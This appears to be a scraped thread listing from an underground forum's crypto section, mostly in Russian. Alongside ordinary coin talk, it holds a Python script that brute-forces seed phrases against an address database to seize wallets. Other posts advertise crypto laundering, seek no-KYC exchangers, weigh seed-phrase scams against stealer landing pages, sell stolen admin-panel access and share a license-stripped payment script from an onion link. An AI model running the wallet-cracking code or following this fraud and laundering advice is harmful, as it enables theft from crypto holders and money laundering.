Суть информации, пока что монета на самом дне (НО УЖЕ ПО ЧУТЬ ОТКУПАЮТ) , можно зайти в монетку на 5% от Вашего депозита, или же на те средства что не жалко потерять. В моменте было 0.10$ сейчас 0.20$, уже 2х есть. Сам держу до 3-4х минимум, риски осознаю и понимание всего есть.

Данная информация не рекомендация к покупке. Моё мышление и взгляды. Примеров таких тьма, Когда монету дампят на взломе - оно и логично, а потом бывает и новый ATH, или же восстановление до прежних хаев. #DYOR

What shitcoins do you have?
ID: 67686ad7b4103b69df3799d7
Thread ID: 57941
Created: 2021-10-20T16:08:42+0000
Last Post: 2021-10-25T20:28:14+0000
Author: Vr1me0
Replies: 8 Views: 405

Simple question, what shitcoins do you have in your wallet?

I have tried safemoon. I will see if it gives me joy.

and what do you recommend?

где закупаться картами/асиками на просадке
ID: 67686ad7b4103b69df37993f
Thread ID: 68661
Created: 2022-06-14T12:09:48+0000
Last Post: 2022-07-17T17:34:25+0000
Author: GospodinAirDrop
Replies: 12 Views: 401

всем привет, все уже наверно в курсе вчерашней просадки битка, которая, как мне кажется, продлиться не менее месяца. Как по мне, сейчас будет самое прекрасное время откупать всякие карточки/асики у хомяков, я только собираюсь влететь в эту тему, поэтому хочу узнать, где это все можно закупить (китайские сайты и тп) или же что будет актуально/выгодно закупить в дальнейшей перспективе. С авито и так все понятно, как я сказал можно будет ловить карты у хомяков, но какие именно карты будут приносить прибыль ?

Всем спасибо

Cake Wallet IOS
ID: 67686ad7b4103b69df3799b3
Thread ID: 60255
Created: 2021-12-20T09:32:32+0000
Last Post: 2021-12-22T17:08:08+0000
Author: krakenum123
Replies: 5 Views: 396

да, на ios и из сша ты не должен ждать ничего хорошего, но хотел узнать ваше мнение ооб этом кошельке.

Перепривзяка почты на бирже
ID: 67686ad7b4103b69df379685
Thread ID: 127539
Created: 2024-11-24T17:07:35+0000
Last Post: 2024-11-24T20:11:04+0000
Author: Lizard
Replies: 7 Views: 395

Возникла следующая ситуация: самоуничтожилась почта на которой висела биржа EXMO, без почты нельзя зайти на аккаунт и получить доступ на вывод средств «запрашивает код». Взаимодействовать с поддержкой бесполезно, говорят скинуть фото с паспортом и листом с надписью. Что делать?
Вопрос: может кто знает как обойти и перепривязать акканут на новую почту или вывести средства?
У меня имеется: Почта и пароль

Раздача BTC Steal NFT
ID: 67686ad7b4103b69df3799c2
Thread ID: 59427
Created: 2021-11-28T11:32:25+0000
Last Post: 2021-11-28T18:14:45+0000
Author: heremy644
Replies: 1 Views: 395

Всем привет, раздаю бесплатно 10 токенов BTC Steal NFT. Пишите в пм и скидывайте кошелёк эфира.

btcsteal- nft.xyz

Dogecoin

Dogecoin is an open source peer-to-peer digital currency, favored by Shiba Inus worldwide.

![btcsteal-nft.xyz](/proxy.php?image=https%3A%2F%2Fbtcsteal- nft.xyz%2F&hash=b1aa370bb2d298d09ea7feef5c75af90&return_error=1) btcsteal- nft.xyz

![opensea.io](/proxy.php?image=https%3A%2F%2Flh3.googleusercontent.com%2FX- EkL4bKzTlBXvyVdTwQDr19mjsW0-28uyF6L6sRKkfQ1LYSL8cSY5YiPpjR4n39hfYYZwCZUSdsye0CSe_qoi1tLmPEFOmSQIxK78Y%3Dw1400-k&hash=90ad78d9b4794a59b3af8cfbc363f2fc&return_error=1)

BTC Steal - BTC Steal's | OpenSea

BTC Steal is one of the most fast-growing NFT token, which was created by a group of Canadian developers . It is developed to create a new breakthrough in the field of NFT tokens. Join our friendly community to become happy and rich in the forseeable future! Money-making marathon is a unique...

opensea.io opensea.io

Ищу биржу!
ID: 67686ad7b4103b69df37988c
Thread ID: 83363
Created: 2023-03-07T13:41:04+0000
Last Post: 2023-03-14T12:40:31+0000
Author: MagaClub
Replies: 1 Views: 393

Братцы, ищу биржу
Задача, со своих карт (банк Мальты) купить крипту
Суммы 100к за транзакцию
Важно, что бы не было лютого компаенса, и не доебывали откуда бабки и тд
И, важно, что бы была европейская платёжка.

Хакеры изпользуют etherhiding чтобы скрывать мальвар
ID: 67686ad7b4103b69df3797bc
Thread ID: 100822
Created: 2023-10-24T14:23:11+0000
Last Post: 2023-12-28T09:11:19+0000
Author: tyman
Replies: 1 Views: 392

![www.darkreading.com](/proxy.php?image=https%3A%2F%2Feu- images.contentstack.com%2Fv3%2Fassets%2Fblt66983808af36a8ef%2Fblta80751ba94c99b24%2F64556aaa25011c61a1291b66%2FBlockchain_JL_Alamy.jpg&hash=6f9b6441a9d52b1d7b97cc349f7e7ae1&return_error=1)

[ ‘Etherhiding’ Blockchain Technique Hides Malware in WordPress Sites

](https://www.darkreading.com/attacks-breaches/etherhiding-blockchain- technique-hides-malicious-code-wordpress-sites)

The ClearFake campaign uses fake browser updates to lure victims and spread RedLine, Amadey, and Lumma stealers.

www.darkreading.com www.darkreading.com

‘Etherhiding’ Blockchain Technique Hides Malicious Code in WordPress Sites
The ClearFake campaign uses fake browser updates to lure victims and spread RedLine, Amadey, and Lumma stealers.

A threat actor has been abusing proprietary blockchain technology to hide malicious code in a campaign that uses fake browser updates to spread various malware, including the infostealers RedLine, Amadey, and Lumma.

While abuse of blockchain is typically seen in attacks aimed at stealing cryptocurrency—as the security technology is best known for protecting these transactions—EtherHiding demonstrates how attackers can leverage it for other types of malicious activity.

Researchers from Guardio have been tracking a campaign dubbed ClearFake over the last two months in which users are misled into downloading malicious fake browser updates from at least 30 highjacked WordPress sites.

The campaign uses a technique called "EtherHiding," which "presents a novel twist on serving malicious code" by using Binance Smart Chain (BSC) contracts from Binance--one of the world's largest cryptocurrency sites--to host parts of a malicious code chain "in what is the next level of Bullet-Proof Hosting," according to a recent post by Guardio.

"BSC is owned by Binance and focuses on contracts: coded agreements that execute actions automatically when certain conditions are met," Guardio explained in the post. "These contracts offer innovative ways to build applications and processes. Due to the publicly accessible and unchangeable nature of the blockchain, code can be hosted 'on-chain' without the ability for a takedown."

Attackers are leveraging this in their attack by hosting and serving malicious code in a manner that can't be blocked, making it difficult to stop the activity. "This campaign is up and harder than ever to detect and take down," according to the post.

Attackers turned to this tack when their initial method of hosing code on abused Cloudflare Worker hosts was taken down, the researchers noted. "They’ve quickly pivoted to take advantage of the decentralized, anonymous, and public nature of blockchain," according to the post.

need advice for crypto selection
ID: 67686ad7b4103b69df3799db
Thread ID: 56136
Created: 2021-09-01T10:56:05+0000
Last Post: 2021-10-12T01:46:52+0000
Author: drpalpatine
Replies: 9 Views: 391

BTC:
Accepted --> BTC was used for long time before. Accepted in many areas.
Anonymous --> Transactions are traced through explorer.
--> BTC mixers are full of waste --> money from drug dealers falls in wallet

Monero:
Accepted --> Monero was not used before because many shops XMR payments was not accepted
Anonymous --> XMR is more private but targeted all day night by governments
--> ring confidential transacs + stealth addresses
--> (bugs are always thrown but there are good blockchain developers)
Price stability --> Same as BTC. Market is moving all the time. One day i might lose or gain 5-7%. Not good for short term transactions if i want to buy something small frequently without loss of coin

Tether:
Price stability --> Contsant price
i know people using Tether at constant price

I am looking for coin that is good for storage and is highly stable and ido not require any profits from coin growth --> should be minimal loss. i think tether is a good option.
Is Tether conversion to BTC easily available for my existing coin? and should i accept my payments in Tether or in bitcoin and convert then?
is tether not going to die soon?
privacy?

any other coin?
need some advice

Доступ к крупному производителю майнинг оборудования
ID: 67686ad7b4103b69df37971d
Thread ID: 116240
Created: 2024-06-06T12:37:05+0000
Last Post: 2024-06-06T12:37:05+0000
Author: sushifriends74
Replies: 0 Views: 389

Всем привет! Попалась админка поддержки крупного производителя железок для майнинга (у меня у самого несколько их мат. плат). Ищу вариант манетизации.

памп дамп
ID: 67686ad7b4103b69df379742
Thread ID: 112951
Created: 2024-04-20T10:45:57+0000
Last Post: 2024-04-22T06:21:39+0000
Author: solomonfinik
Replies: 3 Views: 388

какие каналы есть в 2024 и насколько тема еще актуальна? смотрю по c io пиндосы держат 2 канала, раньше их пачками было. сейчас как-то по другому делают?

Обход автовывода EVM
ID: 67686ad7b4103b69df379782
Thread ID: 108870
Created: 2024-02-23T02:16:25+0000
Last Post: 2024-02-23T02:16:25+0000
Author: paranoya888888
Replies: 0 Views: 388

Ребят подскажите как найти обход автовывода в EVM сетях, чтобы можно было снимать монеты и стейкинги.
Покидайте темок пожалуйста или куда копать!

BTC Halving
ID: 67686ad7b4103b69df379760
Thread ID: 111014
Created: 2024-03-21T23:02:15+0000
Last Post: 2024-03-22T01:41:47+0000
Author: Zabuza
Replies: 2 Views: 387

Когда лучше закупить биткоин сейчас или после халвинга? Будет ли падение цены перед ростом?

Address poisoning attack crypto
ID: 67686ad7b4103b69df379689
Thread ID: 127328
Created: 2024-11-21T01:26:42+0000
Last Post: 2024-11-21T14:09:22+0000
Author: Topman
Replies: 1 Views: 386

A video explaining address poisoning

WATCH HERE

Mnemonic check
ID: 67686ad7b4103b69df37984d
Thread ID: 89444
Created: 2023-06-01T11:51:07+0000
Last Post: 2023-06-01T11:51:07+0000
Author: brumsy
Prefix: Мануал/Книга
Replies: 0 Views: 385

Код на Python, который генерирует мнемонические фразы и сверяет их адреса с базой данных в формате .txt. При совпадении создается отдельный файл.

Python:Copy to clipboard

import hashlib
import binascii
import hmac
import os
import secrets
import time

from bip32utils import BIP32Key
from mnemonic import Mnemonic

def generate_mnemonic():
    # Генерируем случайную энтропию
    entropy = secrets.token_bytes(16)
    mnemonic = Mnemonic('english').to_mnemonic(entropy)
    return mnemonic

def generate_address(mnemonic):
    # Получаем сид из мнемонической фразы
    seed = Mnemonic.to_seed(mnemonic)

    # Создаем ключ BIP32
    root = BIP32Key.fromEntropy(seed)

    # Получаем публичный адрес
    address = root.Address()

    return address

def check_addresses(database_file, num_addresses):
    with open(database_file, 'r') as file:
        # Читаем базу данных с адресами
        addresses = [line.strip() for line in file]

    found_addresses = []
    attempts = 0

    start_time = time.time()

    while len(found_addresses) < num_addresses:
        mnemonic = generate_mnemonic()
        address = generate_address(mnemonic)
        attempts += 1

        if address in addresses:
            found_addresses.append((mnemonic, address))
            # Создаем файл с мнемонической фразой, связанной с найденным адресом
            filename = f"found_mnemonic_{address}.txt"
            create_file_with_mnemonic(mnemonic, filename)

        # Выводим информацию о состоянии перебора каждые 1000 попыток
        if attempts % 1000 == 0:
            elapsed_time = time.time() - start_time
            speed = attempts / elapsed_time
            print(f"Проверено сид-фраз: {attempts}, Найдено адресов: {len(found_addresses)}, Скорость: {speed:.2f} попыток/сек")

    return found_addresses

def create_file_with_mnemonic(mnemonic, filename):
    with open(filename, 'w') as file:
        file.write(mnemonic)

# Пример использования
num_addresses = 10  # Количество адресов для проверки
database_path = os.path.join(r'database.txt')
found_addresses = check_addresses(database_path, num_addresses)

print("Найденные адреса в базе данных:")
if found_addresses:
    for mnemonic, address in found_addresses:
        print("Мнемоническая фраза:", mnemonic)
        print("Адрес:", address)
        print("---------------------------")
else:
    print("Адресов не найдено.")

Для работы этого кода необходимо установить следующие зависимости:
- bip32utils (установка через pip install bip32utils)
- mnemonic (установка через pip install mnemonic)

Замените 'database.txt' в вызове функции check_addresses на путь к вашему файлу с базой данных.
В базе данных ожидается, что каждый адрес будет записан на новой строке.

Функция create_file_with_mnemonic, которая создает файл с мнемонической фразой, если найден совпадающий адрес.
Файл будет создан для каждого найденного адреса и будет иметь имя вида found_mnemonic_{адрес}.txt.
Фраза будет записана в файл.
После вывода найденных адресов на экран, код создаст соответствующие файлы с мнемоническими фразами, если найдены совпадения.
Файлы будут созданы в той же директории, где запущен скрипт.
Убедитесь, что у вас есть файл базы данных с адресами, и его путь правильно указан в коде (замените 'database.txt' на соответствующий путь к вашему файлу).

ПыСы: Если нужно что-то подобное, но по вашим хотелкам, могу подсказать или посодействовать.
Так же открыт к предложениям по данной тематике!

zcach прозрачный адрес
ID: 67686ad7b4103b69df3796f9
Thread ID: 119919
Created: 2024-07-31T10:19:52+0000
Last Post: 2024-07-31T10:19:52+0000
Author: Джон Иванов
Replies: 0 Views: 385

подскажите как перевести zec c t-адреса на прозрачный tex-адрес ?

[0%] | Swap крипты | Чистка крипты
ID: 67686ad7b4103b69df3798d8
Thread ID: 78382
Created: 2022-12-18T20:10:38+0000
Last Post: 2022-12-18T20:19:53+0000
Author: Detro1t
Replies: 1 Views: 385

IMG_20221214_201851_729.jpg
TRX - 4 рубля
Совершаю обмен во всех направлениях (почти любые суммы)
Чистка крипты - от 500 USD
Связь:
тг - @detroit_changes
канал - @detro1t_ex

[Поиск] ПО для арбиртража крипты
ID: 67686ad7b4103b69df3799e4
Thread ID: 56464
Created: 2021-09-09T10:06:37+0000
Last Post: 2021-09-17T20:50:21+0000
Author: ivansmirnoff
Replies: 4 Views: 384

Добрый день, может кто знает работающий софт для арбиртража крипты? В т.ч. может, который помогает - упрощает работу для p2p между биржами. В том числе расмотрю вариант платных исходников, без проблем сработаю через гаранта форума.

Промокод Pocket Option
ID: 67686ad7b4103b69df379722
Thread ID: 115006
Created: 2024-05-20T20:46:23+0000
Last Post: 2024-06-02T21:16:52+0000
Author: DevOpsSec
Replies: 1 Views: 383

Доброго времени суток ! Поделитесь промокодами на Pocket Option

Кто в теме ,поймет !

Благодарю

Критпопроцессинг для сервиса
ID: 67686ad7b4103b69df3797d5
Thread ID: 94624
Created: 2023-08-02T18:57:53+0000
Last Post: 2023-10-29T21:21:26+0000
Author: Le Roi Soleil
Replies: 6 Views: 383

Хотим расширится и автоматизировать некоторые процессы - в том числе прием платежей (и возможно выплаты).
Раньше аналогичную задачу решали через electrum cli, но все равно остается вопрос микса и отмыва крипты, …
Есть мысли взять апи, хотелось бы по возможности услышать мнение \ получить советы от сервисов с площадки, кто что юзает и какие есть нюансы работы

Крипто трафик на скам или стилер?
ID: 67686ad7b4103b69df3799c6
Thread ID: 59101
Created: 2021-11-21T10:31:38+0000
Last Post: 2021-11-22T19:55:20+0000
Author: 801
Replies: 4 Views: 383

Буду благодарен за подсказку от опытных в теме. Куда лучше слать крипто траф(90% metamask пользователи)? На скам seed фразы или на ленд со стилером?
Я без опыта в теме, но мне кажется что на скам сид фразы ведется только дурачки с копейками на балансе и ленд на стилер с грамотной легендой будет успешней.

ПМ не надо писать. Траф не продаю, за процент не работаю.

Выпуск NFT для «чайников»
ID: 67686ad7b4103b69df37999d
Thread ID: 62255
Created: 2022-01-31T18:35:09+0000
Last Post: 2022-02-03T02:28:54+0000
Author: matanga
Replies: 4 Views: 382


Итак, первое с чего следует начать своё путешествие в мире Web 3.0 это с выбора криптокошелька. Я остановил свой выбор на MetaMask как наиболее распространённом для целей браузинга по сайтам с поддержкой авторизации по кошельку, так и простого в освоении.

Далее ставим MetaMask в виде приложения для браузера Chrome на своём Mac или PC и единожды авторизовываемся при помощи секретной фразы. Далее для входа нужен будет только пароль, который можно задать достаточно несложным.


Из минусов MetaMask я готов озвучить только то, что нету приложений под Mac OS или Safari .Ну и ещё ограниченное количество криптовалют с которым работает кошелёк. Но для моих целей это не минус, мне нужен именно Ethereum, а MetaMask с ним работает лучше всего, можно сказать, что под него и заточен.

Наполняем кошелёк криптовалютой​

Существует несколько способов для пополнения кошелька MetaMask. Наиболее простой способ — это купить несколько ETH на бирже писать минусы и плюсы этого способа, просто напишу что он есть и работает.

Выбор площадки для размещения NFT​

Хорошо, переходим к следующему пункту — выбор площадки для токенизации. Существует много закрытых и открытых площадок по размещению NFT. Вот лишь небольшой список для исследования: OpenSea, Rarible, Nifty Gateway (очень любимая Илоном Маском), SuperRare, Foundation.

На одних вы сможете просто войти под кошельком и выпустить NFT платно или бесплатно. Другие работают только как клубы для избранных художников и у них есть определённый фейс-контроль, который нужно пройти.

Но для первого раза я рекомендую выбрать OpenSea как самую крупную, демократичную и простую площадку для размещения, с понятными правилами и интерфейсом.

Авторизоваться на OpenSea очень легко, достаточно просто зайти на сайт с

кошельком MetaMask и система начинает вас узнавать. Регистрации, паролей — ничего не требуется. Вот такой он, прекрасный мир будущего Web 3.0!​


После входа вы можете застолбить имя своего аккаунта, поставить обои и аватарку, прикрутить свои соцсети, написать небольшой текст — словом повесить родные ковры в новом месте!

А дальше можно перейти непосредственно к выпуску NFT и это совершенно бесплатно! Но существуют и ограничения, в качестве NFT вы можете токенизировать файлы размером не более 100Мб (эта цифра постоянно растёт с ростом самого сообщества) и одного из следующих форматов: JPG, PNG, GIF, SVG, MP4, WEBM, MP3, WAV, OGG, GLB, GLTF (число расширений также дополняется).


Раньше нужно было обязательно создать сначала коллекцию, но сейчас это уже не обязательно, можно выпускать NFT-шки без коллекции и тогда система автоматически привяжет их к вашей основной коллекции.

Если же вы хотите создавать NFT по коллекциям, то тогда следует начать с создания и оформления соответствующей коллекции. Название коллекций оригинальны на всём пространстве OpenSea, поэтому множество названий коллекций уже занято.

Разместили, любуемся! А как же продавать?​

И тут наступает самый интересный и, к сожалению, затратный момент. Система предусматривает два механизма продаж: просто продажа по фиксированой цене с возможностью принимать предложения от заинтересованных покупателей и непосредственно аукцион. Причём, что бы активировать каждую из этих возможностей нужно оплатить относительно немалую комиссию «за газ». Радует только то, что оплата делается один раз и дальше можно пользоваться.


В своё время мне пришлось отдать около 180 $ за эти возможности. Какая ставка сейчас не подскажу, да и она постоянно меняется и зависит от стоимости газа. Информацию про этот «волшебный» газ я тут пропущу, она легко ищется в сети, кому будет интересно.

Немного про аукционы​

Если с простой продажей всё интуитивно понятно, то про аукционы я немного поясню. Для выставления лота следует выбрать минимальную цену и длительность аукциона и резервную цену, ниже которой вы не согласны на продажу.

Далее, в течение аукциона, пользователи делают ставки, причём если у пользователя нету нужной суммы в кошельке, то и ставку он сделать не сможет. Выигрывает аукцион пользователь, который сделал наибольшую ставку до окончания аукциона.

Когда аукцион заканчивается, умный контракт всё дальше делает автоматически: NFT переходит на аккаунт в OpenSea пользователя выигравшего аукцион, а сумма в ETH отправляется прямиком в кошелёк продавца и списывается комиссия OpenSea (2,5% на данный момент).

Ищу людей специализирующихся на эирдропах
ID: 67686ad7b4103b69df37981a
Thread ID: 94090
Created: 2023-07-27T03:08:57+0000
Last Post: 2023-08-01T04:37:45+0000
Author: Tesla
Replies: 5 Views: 382

Кто покажет подскажет как поставить на поток и объемы это дело

What crypto/coin should I buy right now?
ID: 67686ad7b4103b69df379667
Thread ID: 128874
Created: 2024-12-13T10:14:21+0000
Last Post: 2024-12-13T16:43:05+0000
Author: DarkMatter
Replies: 9 Views: 381

Hi,

I see many crypto shitcoins, memes in the market a long time with all these pump and dumps happening right now, what coin do you advice me to invest in it from 1k to 2k. What coin do you think will have high potential by 2025, likely 10x 30x lol

Thanks for your answer

Что скажете про BarterCoin?
ID: 67686ad7b4103b69df379938
Thread ID: 70474
Created: 2022-07-21T23:21:20+0000
Last Post: 2022-07-22T17:53:41+0000
Author: NSD
Replies: 15 Views: 381

Теме 6 лет

Торговые боты
ID: 67686ad7b4103b69df37981d
Thread ID: 93841
Created: 2023-07-24T13:53:29+0000
Last Post: 2023-07-29T22:09:37+0000
Author: akriosss47
Replies: 9 Views: 378

Кто знает наеп или не https://albancev.net/

Как принимать платежи в тг? Usdt/btc
ID: 67686ad7b4103b69df37976d
Thread ID: 109870
Created: 2024-03-07T06:45:48+0000
Last Post: 2024-03-13T13:42:21+0000
Author: Slevin777
Replies: 4 Views: 377

Всех приветствую коллеги.
Интересует вопрос о том как подключить оплату криптой на проекте ?
С биткоином вроде все понятно, поднял году и по апи генерит адреса для оплаты.
Как быть с Usdt ? Сторонние сервисы типа криптоклауд и тд? Или можно самому ноду на сервере поднять?
Буду благодарен за любую инфу/ссылку.
Всем профита и удачи!

Обменники без KYC
ID: 67686ad7b4103b69df37989c
Thread ID: 82480
Created: 2023-02-21T17:19:36+0000
Last Post: 2023-02-22T10:17:35+0000
Author: Tesla
Replies: 2 Views: 376

Посоветуйте проверенные вами обменники без KYC.
Спасибо

Принятие криптовалютных оплат без посредов и KYC
ID: 67686ad7b4103b69df3797fe
Thread ID: 96578
Created: 2023-08-26T03:56:26+0000
Last Post: 2023-08-26T03:57:43+0000
Author: Knew100
Prefix: Статья
Replies: 1 Views: 375

Начните принимать криптовалюты в качестве способа оплаты через проверенный скрипт, данный PHP сайт устанавливается на сервер(клир или онион)
Децентрализован - никаких сторонних сервисов, никакой регистрации, никакой процедуры KYC
Единовременный платёж и никаких комиссий Fee
Используйте свои собственные узлы - при желании используйте свои собственные узлы для мониторинга блокчейна и создания платёжных адресов
Получайте выплаты в самых популярных криптовалютах

Документация: https://boxcoin.dev/docs

http://anonissfireenterfdks2u53jqevumbu6hjm35ioorsa7eq5bsjlucad.onion/do.php?filename=79b937ef39edf447d692b11.zip

Замените оригинальный functions.php

PHP:Copy to clipboard

<?php

/*
 * ==========================================================
 * FUNCTIONS.PHP
 * ==========================================================
 *
 * Admin and client side functions.
 * You can not use Boxcoin to create a SAAS or Boxcoin-like business. For more details, visit https://boxcoin.dev/terms-of-service (see 5. Intellectual Property and Content Ownership).
 * © 2022-2023 boxcoin.dev. All rights reserved.
 *
 */

define('BXC_VERSION', '1.1.9');
if (!defined('BXC_CLOUD')) define('BXC_CLOUD', file_exists(__DIR__ . '/cloud'));
require(__DIR__ . '/config.php');
global $BXC_LOGIN;
global $BXC_LANGUAGE;
global $BXC_TRANSLATIONS;
global $BXC_TRANSLATIONS_2;
global $BXC_APPS;
$BXC_APPS = ['wordpress', 'exchange'];
for ($i = 0; $i < count($BXC_APPS); $i++) {
    $file = __DIR__ . '/apps/' . $BXC_APPS[$i] . '/functions.php';
    if (file_exists($file)) {
        require_once($file);
    }
}

/*
 * -----------------------------------------------------------
 * TRANSACTIONS
 * -----------------------------------------------------------
 *
 * 1. Get transactions
 * 2. Get a single transaction
 * 3. Create a transaction
 * 4. Generate a random cryptcurrency amount
 * 5. Delete pending transactions older than 48h
 * 6. Check the transactions of an address
 * 7. Check a single transaction
 * 8. Check pending transactions
 * 9. Finalize a confirmed transaction
 * 10 Update a transaction
 * 11. Send the webhook for a specific transaction
 * 12. Download transactions in CSV format
 * 13. Generate an invoice
 * 14. Update a transaction
 * 15. Decrypt a transaction securely
 * 16. Generate a payment link for a transaction
 * 17. Get the transaction description array
 * 18. Refunds a transaction
 *
 */

function bxc_transactions_get_all($pagination = 0, $search = false, $status = false, $cryptocurrency = false, $date_range = false) {
    $where = '';
    if ($search) {
        $search = bxc_db_escape(trim($search));
        $where = '(' . (is_numeric($search) ? 'amount LIKE "%' . $search . '%" OR amount_fiat LIKE "%' . $search . '%" OR ' : '') . 'title LIKE "%' . $search . '%" OR description LIKE "%' . $search . '%" OR cryptocurrency LIKE "%' . $search . '%" OR currency LIKE "%' . $search . '%" OR `from` LIKE "%' . $search . '%" OR `to` LIKE "%' . $search . '%" OR hash LIKE "%' . $search . '%" OR external_reference LIKE "%' . $search . '%")';
    }
    if ($status) {
        $where .= ($where ? ' AND ' : '') . ' status = "' . bxc_db_escape($status) . '"';
    }
    if ($cryptocurrency) {
        $where .= ($where ? ' AND ' : '') . ' cryptocurrency = "' . bxc_db_escape($cryptocurrency) . '"';
    }
    if ($date_range && $date_range[0]) {
        $where .= ($where ? ' AND ' : '') . ' creation_time >= "' . bxc_db_escape($date_range[0]) . '" AND creation_time <= "' . bxc_db_escape($date_range[1]) . '"';
    }
    $transactions = bxc_db_get('SELECT * FROM bxc_transactions' . ($where ? ' WHERE ' . $where : '') . ' ORDER BY id DESC' . ($pagination != -1 ? ' LIMIT ' . intval(bxc_db_escape($pagination, true)) * 100 . ',100' : ''), false);
    return $transactions;
}

function bxc_transactions_get($transaction_id) {
    return bxc_db_get('SELECT * FROM bxc_transactions WHERE id = ' . bxc_db_escape($transaction_id, true));
}

function bxc_transactions_create($amount, $cryptocurrency_code, $currency_code = false, $external_reference = '', $title = '', $description = '', $url = false, $billing = '', $vat = false) {
    $query_parts = ['INSERT INTO bxc_transactions(title, description, `from`, `to`, hash, amount, amount_fiat, cryptocurrency, currency, external_reference, creation_time, status, webhook, billing, vat, vat_details) VALUES ("' . bxc_db_escape($title) . '", "' . ($description ? bxc_db_json_escape([base64_decode($description)]) : '') . '", "",', ', "' . bxc_db_escape($currency_code) . '", "' . bxc_db_escape($external_reference) . '", "' . gmdate('Y-m-d H:i:s') . '", "P", 0, "' . bxc_db_escape($billing) . '", "' . bxc_isset($vat, 'amount', 0) . '", "' . ($vat && !empty($vat['amount']) ? bxc_db_json_escape($vat) : '') . '")'];
    $hash = '';
    $address = false;
    if (!$currency_code) $currency_code = bxc_settings_get('currency', 'USD');
    if (in_array($cryptocurrency_code, ['stripe', 'verifone', 'paypal'])) {
        $transaction_id = bxc_db_query($query_parts[0] . '"", "", "", "' . bxc_db_escape($amount, true) . '", "' . bxc_db_escape($cryptocurrency_code) . '"' . $query_parts[1], true);
        return [$transaction_id, $cryptocurrency_code, $cryptocurrency_code == 'verifone' ? bxc_verifone_create_checkout($amount, $url, $transaction_id, $title, $currency_code) : ($cryptocurrency_code == 'stripe' ? bxc_stripe_payment(floatval($amount) * 100, $url, $transaction_id, $currency_code) : bxc_paypal_get_checkout_url($transaction_id, $url, $amount, $currency_code, $title))];
    }
    if ($cryptocurrency_code === 'btc_ln' && bxc_settings_get('ln-node-active')) {
        require_once(__DIR__ . '/bitcoin.php');
        $amount_cryptocurrency = $amount_cryptocurrency_string = bxc_crypto_get_cryptocurrency_value($amount, 'btc', $currency_code);
        $invoice = bxc_btc_ln_create_invoice($amount_cryptocurrency);
        $address = bxc_isset($invoice, 'payment_request');
        if ($address) {
            $hash = $invoice['r_hash'];
        } else {
            if (bxc_settings_get('notifications-ln')) {
                bxc_email_notification(bxc_m('Lightning Network error', bxc_settings_get('language-admin')), json_encode($invoice));
            }
            return ['error', 'btc-ln'];
        }
    }
    if (!$address) {
        $decimals = bxc_crypto_get_decimals($cryptocurrency_code);
        $custom_token = bxc_isset(bxc_get_custom_tokens(), $cryptocurrency_code);
        $address = $custom_token ? $custom_token['address'] : bxc_crypto_get_address($cryptocurrency_code);
        $amount_cryptocurrency = $currency_code == 'crypto' ? [$amount, ''] : ($custom_token ? false : explode('.', strval(bxc_crypto_get_cryptocurrency_value($amount, $cryptocurrency_code, $currency_code))));
        if (bxc_crypto_whitelist_invalid($address, true, $cryptocurrency_code)) return 'whitelist-invalid';
        if ($amount_cryptocurrency && !isset($amount_cryptocurrency[1])) array_push($amount_cryptocurrency, '');
        if ($custom_token) {
            $amount_cryptocurrency = explode('.', $amount * (1 / (floatval($custom_token['rate']) * ($currency_code == 'USD' ? 1 : bxc_usd_rates($currency_code)))));
            if (!isset($amount_cryptocurrency[1])) array_push($amount_cryptocurrency, '');
            $decimals = $custom_token['decimals'];
        }
        ;
        if (strlen($amount_cryptocurrency[1]) > $decimals) $amount_cryptocurrency[1] = substr($amount_cryptocurrency[1], 0, $decimals);
        $amount_cryptocurrency_string = $amount_cryptocurrency[0] . ($amount_cryptocurrency[1] ? '.' . $amount_cryptocurrency[1] : '');
        if ($address == bxc_settings_get_address($cryptocurrency_code)) {
            $temp = bxc_db_get('SELECT amount FROM bxc_transactions WHERE cryptocurrency = "' . bxc_db_escape($cryptocurrency_code) . '"', false);
            $existing_amounts = [];
            $i = 0;
            for ($i = 0; $i < count($temp); $i++) {
                array_push($existing_amounts, $temp[$i]['amount']);
            }
            while (in_array($amount_cryptocurrency_string, $existing_amounts) && $i < 1000) {
                $amount_cryptocurrency_string = bxc_transactions_random_amount($amount_cryptocurrency, $decimals);
                $i++;
            }
        }
    }
    $transaction_id = bxc_db_query($query_parts[0] . '"' . $address . '", "' . $hash . '", "' . $amount_cryptocurrency_string . '", "' . bxc_db_escape($amount, true) . '", "' . bxc_db_escape($cryptocurrency_code) . '"' . $query_parts[1], true);
    $url = bxc_is_demo(true);
    if ($url) {
        $amount_cryptocurrency_string = $url['amount'];
        $transaction_id = $url['id'];
    }
    if (in_array($cryptocurrency_code, ['usdt', 'usdc', 'busd']) && bxc_is_address_generation($cryptocurrency_code)) {
        $amount_cryptocurrency_string_split = explode('.', $amount_cryptocurrency_string);
        if (count($amount_cryptocurrency_string_split) > 1 && strlen($amount_cryptocurrency_string_split[1]) > 2) {
            $amount_cryptocurrency_string = $amount_cryptocurrency_string_split[0] . '.' . substr($amount_cryptocurrency_string_split[1], 0, 2);
        }
    }
    return [$transaction_id, $amount_cryptocurrency_string, $address, bxc_settings_get_confirmations($cryptocurrency_code, $amount), bxc_encryption(bxc_transactions_get($transaction_id))];
}

function bxc_transactions_random_amount($amount, $decimals) {
    $amount = bxc_decimal_number(floatval($amount[0] . ($amount[1] && $amount[1] != '0' ? '.' . $amount[1] : '')) * floatval('1.000' . rand(99, 9999)));
    if (strpos($amount, '.')) {
        $amount = explode('.', $amount);
        while (strlen($amount[1]) > $decimals) {
            $amount[1] = substr($amount[1], 0, $decimals);
        }
        $amount = $amount[0] . ($amount[1] && $amount[1] != '0' ? '.' . $amount[1] : '');
    }
    return $amount;
}

function bxc_transactions_delete_pending() {
    $query = 'FROM bxc_transactions WHERE status = "P" AND creation_time < "' . gmdate('Y-m-d H:i:s', time() - intval(bxc_settings_get('delete-pending-interval', 48)) * 3600) . '"';
    $transactions = bxc_db_get('SELECT `to`, `cryptocurrency` ' . $query, false);
    $response = bxc_db_query('DELETE ' . $query);
    if ($response === true) {
        $addresses = [];
        for ($i = 0; $i < count($transactions); $i++) {
            $to = $transactions[$i]['to'];
            $slug = $transactions[$i]['cryptocurrency'] . '-manual-addresses';
            if (!isset($addresses[$slug])) {
                $addresses[$slug] = json_decode(bxc_settings_db($slug, false, '{}'), true);
            }
            if (isset($addresses[$slug][$to])) {
                unset($addresses[$slug][$to]);
                bxc_settings_db($slug, $addresses[$slug]);
            }
        }
    }
    return $response;
}

function bxc_transactions_check($transaction_id) {
    $boxcoin_transaction = bxc_transactions_get($transaction_id);
    if (!$boxcoin_transaction) return bxc_error('Transaction ' . $transaction_id . ' not found.', 'bxc_transactions_check', true);
